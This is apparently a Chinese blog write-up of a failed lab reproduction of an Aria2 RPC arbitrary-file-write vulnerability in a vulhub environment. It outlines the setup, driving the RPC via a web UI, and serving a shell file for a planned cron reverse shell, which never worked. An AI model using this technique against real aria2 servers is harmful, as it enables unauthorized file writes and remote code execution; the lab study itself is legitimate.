Aria2 是一款命令行下轻量级、多协议、多来源的下载工具(支持 HTTP/HTTPS、FTP、BitTorrent、Metalink),内建XML-RPC和JSON-RPC接口。在有权限的情况下,我们可以使用RPC接口来操作aria2来下载文件,将文件下载至任意目录,造成一个任意文件写入漏洞
漏洞复现
docker-compose up -d
aria2的rpc服务端口默认为6800,启动环境后访问
192.168.159.128:6800
burpsuite抓包后发现返回为404
因为 rpc 通信需要使用 json 或者 xml,不太方便,所以我们可以借助第三方 UI 来和目标通信,这是一款轻量级web写入工具
http://binux.github.io/yaaw/demo/
点击右上角的设置进行信息配置
开启一个web服务,将shell准备好,shell文件要在linux环境下去生产,因为Linux和windows下的换行符不同
kali : 192.168.159.129
Ubuntu : 192.168.159.128
1 | #! /bin/sh |
Python2 :python2 -m SimpleHTTPServer 8000 Python3 :python3 -m http.server 8000
不知道为什么,无法下载文件,之前去测试下载别的东西,也无法去下载...一直报错Error: Internal server error
查了下报错原因 说是因为没有找到 Aria2 进程,但是在vulhub docker环境中已经开放了,试了几次最终还是没找到原因....后续的利用crond任务反弹shell也就没法实现了。 之后有时间再去复现一下吧.